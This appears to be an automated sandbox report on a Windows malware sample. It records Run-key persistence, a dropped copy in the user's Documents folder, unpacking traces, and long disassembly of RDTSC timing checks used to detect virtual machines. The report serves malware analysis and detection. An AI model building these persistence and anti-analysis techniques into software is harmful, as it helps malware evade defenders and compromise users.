Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	ReversingLabs: Detection: 47%
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Virustotal: Detection: 47%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe"
Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe "C:\Users\user\Desktop\securiteinfo.com.win32.malware-gen.30674.exe"
Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe "C:\Users\user\Desktop\securiteinfo.com.win32.malware-gen.30674.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe "C:\Program Files (x86)\Internet Explorer\IELowutil.exe" -PID:123
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Process created: C:\Program Files (x86)\Internet Explorer\ielowutil.exe "C:\Program Files (x86)\Internet Explorer\IELowutil.exe" -PID:123	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

File created: C:\Users\user\Documents\VlcpVideoV1.0.1

Jump to behavior

Source: classification engine

Classification label: mal100.spyw.evad.winEXE@5/6@8/7

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Mutant created: \Sessions\1\BaseNamedObjects\37238328-1324242-5456786-8fdff0-67547552436675

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Static file information: File size 3910656 > 1048576

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x270200
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: Raw size of .sejdata is bigger than: 0x100000 < 0x138000

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Users\30978\Desktop\new_Fb\Release\new_Fb.pdb source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Unpacked PE file: 0.2.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack .text:EW;.sejdata:EW;.idata:W;.rsrc:W;.sejdata:R; vs .text:ER;.sejdata:ER;.idata:R;.rsrc:R;.sejdata:R;
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Unpacked PE file: 3.2.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack .text:EW;.sejdata:EW;.idata:W;.rsrc:W;.sejdata:R; vs .text:ER;.sejdata:ER;.idata:R;.rsrc:R;.sejdata:R;
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Unpacked PE file: 8.2.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack .text:EW;.sejdata:EW;.idata:W;.rsrc:W;.sejdata:R; vs .text:ER;.sejdata:ER;.idata:R;.rsrc:R;.sejdata:R;

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00886389 push ecx; ret	0_2_00887BA1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00886389 push dword ptr [esp+30h]; retn 0034h	0_2_00887C25
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00880C6C push dword ptr [esp+20h]; retn 0024h	0_2_00880CC7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00880C60 push dword ptr [esp+20h]; retn 0024h	0_2_00880CC7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00880C3F push dword ptr [esp+20h]; retn 0024h	0_2_00880CC7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00887D31 push dword ptr [esp+38h]; retn 003Ch	0_2_00887DAC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00883C15 push dword ptr [esp+0Ch]; retn 0010h	0_2_00883C0C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 0_2_00880C96 push ecx; ret	0_2_00880D00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00886389 push ecx; ret	3_2_00887BA1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00886389 push dword ptr [esp+30h]; retn 0034h	3_2_00887C25
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00880C6C push dword ptr [esp+20h]; retn 0024h	3_2_00880CC7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00880C60 push dword ptr [esp+20h]; retn 0024h	3_2_00880CC7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00880C3F push dword ptr [esp+20h]; retn 0024h	3_2_00880CC7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00887D31 push dword ptr [esp+38h]; retn 003Ch	3_2_00887DAC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00883C15 push dword ptr [esp+0Ch]; retn 0010h	3_2_00883C0C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Code function: 3_2_00880C96 push ecx; ret	3_2_00880D00

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: section name: .sejdata
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: section name: .sejdata
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe.0.dr	Static PE information: section name: .sejdata
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe.0.dr	Static PE information: section name: .sejdata

Source: initial sample

Static PE information: section where entry point is pointing to: .sejdata

Source: initial sample	Static PE information: section name: .sejdata entropy: 7.272676176882863
Source: initial sample	Static PE information: section name: .sejdata entropy: 7.272676176882863

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

File created: C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

File created: C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MyStart			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MyStart			Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000894AEA second address: 0000000000894BCC instructions: 0x00000000 rdtsc 0x00000002 add dh, bh 0x00000004 bts bx, cx 0x00000008 jmp 00007FCDC8CF3119h 0x0000000a inc dh 0x0000000c bsr bx, cx 0x00000010 pop esi 0x00000011 mov ecx, A63A46A9h 0x00000016 jmp 00007FCDC8CF30CDh 0x00000018 dec bx 0x0000001a jo 00007FCDC8CF3129h 0x0000001c mov ecx, 04D4009Bh 0x00000021 mov ax, word ptr [esp] 0x00000025 jmp 00007FCDC8CF3108h 0x00000027 add esp, 08h 0x0000002a jno 00007FCDC8CF310Eh 0x0000002c pop ebp 0x0000002d cpuid 0x0000002f call 00007FCDC8CF3145h 0x00000034 mov ecx, ebx 0x00000036 sub esp, 0Eh 0x00000039 mov ah, byte ptr [esp] 0x0000003c stc 0x0000003d not dl 0x0000003f jmp 00007FCDC8CF30BFh 0x00000041 lea esp, dword ptr [esp+02h] 0x00000045 xchg dword ptr [esp+0Ch], ecx 0x00000049 mov bl, al 0x0000004b neg di 0x0000004e mov bx, di 0x00000051 bswap ebx 0x00000053 jmp 00007FCDC8CF3128h 0x00000055 lea ecx, dword ptr [ecx+01h] 0x00000058 lea edi, dword ptr [ecx+edx] 0x0000005b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000894BCC second address: 0000000000894BD6 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 4Ch 0x00000004 rcr edi, cl 0x00000006 xchg ah, bh 0x00000008 jmp 00007FCDC8CF1F8Bh 0x0000000a xchg dword ptr [esp+0Ch], ecx 0x0000000e neg bx 0x00000011 bsf eax, ebp 0x00000014 mov eax, dword ptr [esp] 0x00000017 sete ah 0x0000001a jmp 00007FCDC8CF1FC7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000880D40 second address: 000000000088122F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDC8CF3107h 0x00000004 call 00007FCDC8CF3106h 0x00000009 mov ebp, dword ptr [esp+30h] 0x0000000d mov esi, dword ptr [esp] 0x00000010 mov dl, dh 0x00000012 jmp 00007FCDC8CF3132h 0x00000014 setns ah 0x00000017 xchg al, ch 0x00000019 jmp 00007FCDC8CF30ABh 0x0000001b lea esi, dword ptr [esp+04h] 0x0000001f xchg ecx, ebx 0x00000021 bsr edx, edx 0x00000024 jne 00007FCDC8CF3111h 0x00000026 lea ecx, dword ptr [DD63C30Eh] 0x0000002c call 00007FCDC8CF351Ah 0x00000031 setle cl 0x00000034 call 00007FCDC8CF3168h 0x00000039 mov eax, ebx 0x0000003b shr ch, 00000002h 0x0000003e bsr edi, ebp 0x00000041 xchg dword ptr [esp+04h], ebx 0x00000045 jmp 00007FCDC8CF30ABh 0x00000047 neg dl 0x00000049 mov edi, 0E6B40FCh 0x0000004e bswap edi 0x00000050 lea ebx, dword ptr [ebx+0000043Bh] 0x00000056 push sp 0x00000058 xchg dh, al 0x0000005a jmp 00007FCDC8CF30C7h 0x0000005c push word ptr [esp] 0x00000060 add esp, 02h 0x00000063 sub esp, 1Dh 0x00000066 lea esp, dword ptr [esp+03h] 0x0000006a jmp 00007FCDC8CF310Dh 0x0000006c xchg dword ptr [esp+20h], ebx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 000000000088122F second address: 00000000008812BC instructions: 0x00000000 rdtsc 0x00000002 sub esp, 03h 0x00000005 push word ptr [esp+01h] 0x0000000a bswap edi 0x0000000c mov al, FDh 0x0000000e jmp 00007FCDC8CF200Ch 0x00000010 lea esp, dword ptr [esp+01h] 0x00000014 push dword ptr [esp+24h] 0x00000018 retn 0028h 0x0000001b sub esp, 000000BCh 0x00000021 call 00007FCDC8CF201Dh 0x00000026 cmc 0x00000027 mov edx, esp 0x00000029 bsr cx, bx 0x0000002d mov ecx, dword ptr [esp] 0x00000030 xchg dword ptr [esp], esi 0x00000033 jmp 00007FCDC8CF2000h 0x00000035 bswap edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 000000000087E373 second address: 000000000087E3CA instructions: 0x00000000 rdtsc 0x00000002 xchg di, ax 0x00000005 jmp 00007FCDC8CF30C6h 0x00000007 mov ebp, dword ptr [esp+2Ch] 0x0000000b shl edx, 14h 0x0000000e js 00007FCDC8CF312Bh 0x00000010 mov ebx, 6A949567h 0x00000015 jmp 00007FCDC8CF30D5h 0x00000017 bsf di, si 0x0000001b mov bl, ah 0x0000001d jmp 00007FCDC8CF3137h 0x0000001f lea edi, dword ptr [esp] 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000880D57 second address: 000000000088122F instructions: 0x00000000 rdtsc 0x00000002 call 00007FCDC8CF1FC6h 0x00000007 mov ebp, dword ptr [esp+30h] 0x0000000b mov esi, dword ptr [esp] 0x0000000e mov dl, dh 0x00000010 jmp 00007FCDC8CF1FF2h 0x00000012 setns ah 0x00000015 xchg al, ch 0x00000017 jmp 00007FCDC8CF1F6Bh 0x00000019 lea esi, dword ptr [esp+04h] 0x0000001d xchg ecx, ebx 0x0000001f bsr edx, edx 0x00000022 jne 00007FCDC8CF1FD1h 0x00000024 lea ecx, dword ptr [DD63C30Eh] 0x0000002a call 00007FCDC8CF23DAh 0x0000002f setle cl 0x00000032 call 00007FCDC8CF2028h 0x00000037 mov eax, ebx 0x00000039 shr ch, 00000002h 0x0000003c bsr edi, ebp 0x0000003f xchg dword ptr [esp+04h], ebx 0x00000043 jmp 00007FCDC8CF1F6Bh 0x00000045 neg dl 0x00000047 mov edi, 0E6B40FCh 0x0000004c bswap edi 0x0000004e lea ebx, dword ptr [ebx+0000043Bh] 0x00000054 push sp 0x00000056 xchg dh, al 0x00000058 jmp 00007FCDC8CF1F87h 0x0000005a push word ptr [esp] 0x0000005e add esp, 02h 0x00000061 sub esp, 1Dh 0x00000064 lea esp, dword ptr [esp+03h] 0x00000068 jmp 00007FCDC8CF1FCDh 0x0000006a xchg dword ptr [esp+20h], ebx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000894B70 second address: 0000000000894BCC instructions: 0x00000000 rdtsc 0x00000002 add dh, bh 0x00000004 bts bx, cx 0x00000008 inc dh 0x0000000a jmp 00007FCDC8CF3093h 0x0000000c bsr bx, cx 0x00000010 pop esi 0x00000011 mov ecx, A63A46A9h 0x00000016 jmp 00007FCDC8CF30CDh 0x00000018 dec bx 0x0000001a jo 00007FCDC8CF3129h 0x0000001c mov ecx, 04D4009Bh 0x00000021 mov ax, word ptr [esp] 0x00000025 jmp 00007FCDC8CF3108h 0x00000027 add esp, 08h 0x0000002a jno 00007FCDC8CF310Eh 0x0000002c pop ebp 0x0000002d cpuid 0x0000002f call 00007FCDC8CF3145h 0x00000034 mov ecx, ebx 0x00000036 sub esp, 0Eh 0x00000039 mov ah, byte ptr [esp] 0x0000003c stc 0x0000003d not dl 0x0000003f jmp 00007FCDC8CF30BFh 0x00000041 lea esp, dword ptr [esp+02h] 0x00000045 xchg dword ptr [esp+0Ch], ecx 0x00000049 mov bl, al 0x0000004b neg di 0x0000004e mov bx, di 0x00000051 bswap ebx 0x00000053 jmp 00007FCDC8CF3128h 0x00000055 lea ecx, dword ptr [ecx+01h] 0x00000058 lea edi, dword ptr [ecx+edx] 0x0000005b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 00000000008673CE second address: 0000000000867402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDC8CF1FE2h 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000867854 second address: 0000000000867880 instructions: 0x00000000 rdtsc 0x00000002 lea eax, dword ptr [00000000h+ebx*4] 0x00000009 rol ecx, cl 0x0000000b lea eax, dword ptr [esi-0000C819h] 0x00000011 jmp 00007FCDC8CF3101h 0x00000013 xchg dword ptr [esp], ebp 0x00000016 mov dh, cl 0x00000018 shl dx, 000Dh 0x0000001c cmc 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000894AEA second address: 0000000000894BCC instructions: 0x00000000 rdtsc 0x00000002 add dh, bh 0x00000004 bts bx, cx 0x00000008 jmp 00007FCDC8CF1FD9h 0x0000000a inc dh 0x0000000c bsr bx, cx 0x00000010 pop esi 0x00000011 mov ecx, A63A46A9h 0x00000016 jmp 00007FCDC8CF1F8Dh 0x00000018 dec bx 0x0000001a jo 00007FCDC8CF1FE9h 0x0000001c mov ecx, 04D4009Bh 0x00000021 mov ax, word ptr [esp] 0x00000025 jmp 00007FCDC8CF1FC8h 0x00000027 add esp, 08h 0x0000002a jno 00007FCDC8CF1FCEh 0x0000002c pop ebp 0x0000002d cpuid 0x0000002f call 00007FCDC8CF2005h 0x00000034 mov ecx, ebx 0x00000036 sub esp, 0Eh 0x00000039 mov ah, byte ptr [esp] 0x0000003c stc 0x0000003d not dl 0x0000003f jmp 00007FCDC8CF1F7Fh 0x00000041 lea esp, dword ptr [esp+02h] 0x00000045 xchg dword ptr [esp+0Ch], ecx 0x00000049 mov bl, al 0x0000004b neg di 0x0000004e mov bx, di 0x00000051 bswap ebx 0x00000053 jmp 00007FCDC8CF1FE8h 0x00000055 lea ecx, dword ptr [ecx+01h] 0x00000058 lea edi, dword ptr [ecx+edx] 0x0000005b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000894BCC second address: 0000000000894BD6 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 4Ch 0x00000004 rcr edi, cl 0x00000006 xchg ah, bh 0x00000008 jmp 00007FCDC8CF30CBh 0x0000000a xchg dword ptr [esp+0Ch], ecx 0x0000000e neg bx 0x00000011 bsf eax, ebp 0x00000014 mov eax, dword ptr [esp] 0x00000017 sete ah 0x0000001a jmp 00007FCDC8CF3107h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000880D40 second address: 000000000088122F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDC8CF1FC7h 0x00000004 call 00007FCDC8CF1FC6h 0x00000009 mov ebp, dword ptr [esp+30h] 0x0000000d mov esi, dword ptr [esp] 0x00000010 mov dl, dh 0x00000012 jmp 00007FCDC8CF1FF2h 0x00000014 setns ah 0x00000017 xchg al, ch 0x00000019 jmp 00007FCDC8CF1F6Bh 0x0000001b lea esi, dword ptr [esp+04h] 0x0000001f xchg ecx, ebx 0x00000021 bsr edx, edx 0x00000024 jne 00007FCDC8CF1FD1h 0x00000026 lea ecx, dword ptr [DD63C30Eh] 0x0000002c call 00007FCDC8CF23DAh 0x00000031 setle cl 0x00000034 call 00007FCDC8CF2028h 0x00000039 mov eax, ebx 0x0000003b shr ch, 00000002h 0x0000003e bsr edi, ebp 0x00000041 xchg dword ptr [esp+04h], ebx 0x00000045 jmp 00007FCDC8CF1F6Bh 0x00000047 neg dl 0x00000049 mov edi, 0E6B40FCh 0x0000004e bswap edi 0x00000050 lea ebx, dword ptr [ebx+0000043Bh] 0x00000056 push sp 0x00000058 xchg dh, al 0x0000005a jmp 00007FCDC8CF1F87h 0x0000005c push word ptr [esp] 0x00000060 add esp, 02h 0x00000063 sub esp, 1Dh 0x00000066 lea esp, dword ptr [esp+03h] 0x0000006a jmp 00007FCDC8CF1FCDh 0x0000006c xchg dword ptr [esp+20h], ebx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 000000000088122F second address: 00000000008812BC instructions: 0x00000000 rdtsc 0x00000002 sub esp, 03h 0x00000005 push word ptr [esp+01h] 0x0000000a bswap edi 0x0000000c mov al, FDh 0x0000000e jmp 00007FCDC8CF314Ch 0x00000010 lea esp, dword ptr [esp+01h] 0x00000014 push dword ptr [esp+24h] 0x00000018 retn 0028h 0x0000001b sub esp, 000000BCh 0x00000021 call 00007FCDC8CF315Dh 0x00000026 cmc 0x00000027 mov edx, esp 0x00000029 bsr cx, bx 0x0000002d mov ecx, dword ptr [esp] 0x00000030 xchg dword ptr [esp], esi 0x00000033 jmp 00007FCDC8CF3140h 0x00000035 bswap edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 000000000087E373 second address: 000000000087E3CA instructions: 0x00000000 rdtsc 0x00000002 xchg di, ax 0x00000005 jmp 00007FCDC8CF1F86h 0x00000007 mov ebp, dword ptr [esp+2Ch] 0x0000000b shl edx, 14h 0x0000000e js 00007FCDC8CF1FEBh 0x00000010 mov ebx, 6A949567h 0x00000015 jmp 00007FCDC8CF1F95h 0x00000017 bsf di, si 0x0000001b mov bl, ah 0x0000001d jmp 00007FCDC8CF1FF7h 0x0000001f lea edi, dword ptr [esp] 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000880D57 second address: 000000000088122F instructions: 0x00000000 rdtsc 0x00000002 call 00007FCDC8CF3106h 0x00000007 mov ebp, dword ptr [esp+30h] 0x0000000b mov esi, dword ptr [esp] 0x0000000e mov dl, dh 0x00000010 jmp 00007FCDC8CF3132h 0x00000012 setns ah 0x00000015 xchg al, ch 0x00000017 jmp 00007FCDC8CF30ABh 0x00000019 lea esi, dword ptr [esp+04h] 0x0000001d xchg ecx, ebx 0x0000001f bsr edx, edx 0x00000022 jne 00007FCDC8CF3111h 0x00000024 lea ecx, dword ptr [DD63C30Eh] 0x0000002a call 00007FCDC8CF351Ah 0x0000002f setle cl 0x00000032 call 00007FCDC8CF3168h 0x00000037 mov eax, ebx 0x00000039 shr ch, 00000002h 0x0000003c bsr edi, ebp 0x0000003f xchg dword ptr [esp+04h], ebx 0x00000043 jmp 00007FCDC8CF30ABh 0x00000045 neg dl 0x00000047 mov edi, 0E6B40FCh 0x0000004c bswap edi 0x0000004e lea ebx, dword ptr [ebx+0000043Bh] 0x00000054 push sp 0x00000056 xchg dh, al 0x00000058 jmp 00007FCDC8CF30C7h 0x0000005a push word ptr [esp] 0x0000005e add esp, 02h 0x00000061 sub esp, 1Dh 0x00000064 lea esp, dword ptr [esp+03h] 0x00000068 jmp 00007FCDC8CF310Dh 0x0000006a xchg dword ptr [esp+20h], ebx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000894B70 second address: 0000000000894BCC instructions: 0x00000000 rdtsc 0x00000002 add dh, bh 0x00000004 bts bx, cx 0x00000008 inc dh 0x0000000a jmp 00007FCDC8CF1F53h 0x0000000c bsr bx, cx 0x00000010 pop esi 0x00000011 mov ecx, A63A46A9h 0x00000016 jmp 00007FCDC8CF1F8Dh 0x00000018 dec bx 0x0000001a jo 00007FCDC8CF1FE9h 0x0000001c mov ecx, 04D4009Bh 0x00000021 mov ax, word ptr [esp] 0x00000025 jmp 00007FCDC8CF1FC8h 0x00000027 add esp, 08h 0x0000002a jno 00007FCDC8CF1FCEh 0x0000002c pop ebp 0x0000002d cpuid 0x0000002f call 00007FCDC8CF2005h 0x00000034 mov ecx, ebx 0x00000036 sub esp, 0Eh 0x00000039 mov ah, byte ptr [esp] 0x0000003c stc 0x0000003d not dl 0x0000003f jmp 00007FCDC8CF1F7Fh 0x00000041 lea esp, dword ptr [esp+02h] 0x00000045 xchg dword ptr [esp+0Ch], ecx 0x00000049 mov bl, al 0x0000004b neg di 0x0000004e mov bx, di 0x00000051 bswap ebx 0x00000053 jmp 00007FCDC8CF1FE8h 0x00000055 lea ecx, dword ptr [ecx+01h] 0x00000058 lea edi, dword ptr [ecx+edx] 0x0000005b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 00000000008673CE second address: 0000000000867402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCDC8CF3122h 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	RDTSC instruction interceptor: First address: 0000000000867854 second address: 0000000000867880 instructions: 0x00000000 rdtsc 0x00000002 lea eax, dword ptr [00000000h+ebx*4] 0x00000009 rol ecx, cl 0x0000000b lea eax, dword ptr [esi-0000C819h] 0x00000011 jmp 00007FCDC8CF1FC1h 0x00000013 xchg dword ptr [esp], ebp 0x00000016 mov dh, cl 0x00000018 shl dx, 000Dh 0x0000001c cmc 0x0000001d rdtsc

